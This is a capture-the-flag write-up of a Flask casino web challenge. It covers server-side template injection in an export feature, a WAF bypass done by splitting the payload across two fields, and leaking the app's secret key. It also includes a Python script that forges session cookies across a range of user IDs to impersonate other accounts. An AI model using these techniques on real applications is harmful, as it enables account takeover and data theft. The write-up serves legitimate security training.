# N0PS CTF 2025 writeup web casino

### Description <a href="#description" id="description"></a>

Welcome, everyone !

Welcome to WebTopia’s Casino !

Witness the wonders of this marvelous place, take your time, enjoy it…

*and please don’t look too much for vulnerabilities*

**Authors : algorab & Sto**

## Summary of Exploitation <a href="#e6d9" id="e6d9"></a>

This challenge was medium difficulty and built with Python (Flask). It features a tricky SSTI that leads to RCE through the `/export` endpoint. At first, the app looks like a simple casino game with account creation and gameplay, but digging deeper reveals an "Export Account Data" feature that's vulnerable. With the right payload, it's possible to achieve remote code execution by exploiting server-side template injection (SSTI) in this export functionality.

First thing we see the login and register

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FMgY4K17xhi4NvoOaiIQM%2Fimage.png?alt=media&#x26;token=2d039833-f761-4e5d-b2d4-b56ce9b39496" alt=""><figcaption></figcaption></figure>

If we sign in we will see the dashboard and has a spin , reset , export data

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FDMTDD08YCBTTRxCl0GuO%2Fimage.png?alt=media&#x26;token=a1aa91a6-d3ae-454f-9f90-4c74b89805d5" alt=""><figcaption></figcaption></figure>

If we export the data, there's a user-controlled input reflected in the page

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FLianhfbZqM5aYUq7fOFp%2Fimage.png?alt=media&#x26;token=ac264b82-68dc-4517-aa45-26e839f8c92b" alt=""><figcaption></figcaption></figure>

We observe that the response includes our email and username—both user-controlled values. Since the web server is running Python (Flask), injecting an SSTI payload reflects the result in the response.

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2Fp6hdT4UNzt5ErdzmfEFb%2Fimage.png?alt=media&#x26;token=02e2a8e2-8ce2-4404-a548-2195d69b97b2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FHqY84jSsknxb9TGKICGV%2Fimage.png?alt=media&#x26;token=22ca6631-33ba-4f88-b9a2-977d3b3118b5" alt=""><figcaption></figcaption></figure>

We notice that the `/export` endpoint is protected by a WAF that blocks our input.

Since I was lazy 😅, I wrote a Python script to automate sign-up, login, and trigger the `/export` endpoint.

```python
import requests
import sys
import random
Session = requests.Session()
URL = "http://127.0.0.1:5000" # change this!!!!

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <username> <email>")
    sys.exit(1)

username = sys.argv[1]
email = sys.argv[2]

def register(username, email):
    data = {
        "username": username,
        "email": email,
        "password": "xxxx"
    }
    response = Session.post(f"{URL}/register", data=data)
    return response

def login(username):
    data = {
        "username": username,
        "password": "xxxx"
    }
    response = Session.post(f"{URL}/login", data=data)
    return response

def export():
    response = Session.get(f"{URL}/export")
    print(response.text)
    return response
def random_bytes():
    return random.randbytes(6).hex()
if __name__ == "__main__":
    print("Generating random bytes for registration...")
    random_hex = random_bytes()
    username = f"{random_hex}_{username}"
    print(f"Registering user: {username}")
    register(username, email)
    print(f"Logging in user: {username}")
    login(username)

    print("Exporting data...")
    export()
```

Let’s return to the SSTI and attempt to bypass the mitigation in place.

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2F4VESWHe01AFRfPbTL7pR%2Fimage.png?alt=media&#x26;token=3d4c2453-31a3-4a72-b641-dde1073d5aa2" alt=""><figcaption></figcaption></figure>

The first bypass didn’t work. After thinking for a bit, I tried putting part of the payload in the username and the other part in the email. That way, I was able to bypass the filter.

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FtvX0g6dbz6Tm0exdTwqI%2Fimage.png?alt=media&#x26;token=3b0f9a03-51ea-4120-b708-f5b9910f059b" alt=""><figcaption></figcaption></figure>

Lets go The exploit worked. Now the goal is to escalate it to Remote Code Execution (RCE)

After a while, I tried to escalate it to RCE, but it didnt work—turns out I’ve got a bit of a skill issue when it comes to SSTI-to-RCE 😅

### Change the Plan!!!

Since I have a skill issue turning SSTI into RCE 😅, I’m switching tactics to stealing Flask’s secret key and spying on other users’ flags instead.

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2F5M0gwO9huxq0XSafoDZa%2Fimage.png?alt=media&#x26;token=176d2937-019a-415e-bb74-d1828fb7f2f8" alt=""><figcaption></figcaption></figure>

now the goal is getting the secret key, simplly i can make my payload to {{config}}

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FDZ9G8VDWxtVdji1CeiMl%2Fimage.png?alt=media&#x26;token=5da8bfb9-f9fa-4612-88e6-29e92072900a" alt=""><figcaption></figcaption></figure>

nice, i made a python code that use flask-unsign and a little bit of magic to do that

```python
import sys
import subprocess
import requests

Session = requests.Session()
URL = "https://127.0.0.1:5000/export"

SECRET = 'PSGc0BTCpVEa6Zzi-GdSdeT2h16nWcqT_5RT52fCMtS0BFnW22L_th-TmaEv85iMN2Lmrdbqv1-6B81v8kALrw'
_ID = 'bee349c6fb5b0717bf710b61108cadf7bd030417a4e4127d3cb0e0197a2ff47671f050d122e1472decacff2cc6d10f80555898854416db06da0e32b88e1f3eeb'

def sign_cookie(user_id: int) -> str:
    cookie_dict = f"{{'_fresh': True, '_id': '{_ID}', '_user_id': '{user_id}'}}"
    cmd = [
        "flask-unsign", "--sign",
        "--cookie", cookie_dict,
        "--secret", SECRET
    ]
    # print(cmd)
    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        print(f"Error signing cookie for user_id {user_id}: {result.stderr.strip()}")
        return None
    return result.stdout.strip()

def visit_with_cookie(signed_cookie: str):
    cookies = {"session": signed_cookie}
    print(signed_cookie)
    response = requests.get(URL, cookies=cookies)
    return response

if __name__ == "__main__":
    for user_id in range(340, 1001):
        print(f"Signing cookie for user_id={user_id}...")
        signed = sign_cookie(user_id)
        if not signed:
            continue
        print(f"Visiting {URL} with signed cookie...")
        resp = visit_with_cookie(signed)
        print(f"response snippet: \n\n{resp.text}\n")
```

this script forges session cookies for other user IDs to impersonate them. By doing so, it tries to access their data—specifically to retrieve the flag from other users’ sessions. The loop starts from user ID 340 because earlier attempts didn’t reveal the flag.

after a little bit of time i get the flag !!\\

<figure><img src="https://3997908970-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FavIy18ZHiXqbH6Jtnhjf%2Fuploads%2FtGJ4ILUkFwfublJwWQT1%2Fimage.png?alt=media&#x26;token=e0ee12cf-8f5a-4c70-bbc2-cecdf3662331" alt=""><figcaption></figcaption></figure>

thanks for id 373 <3

### I hope you enjoyed! in my write up
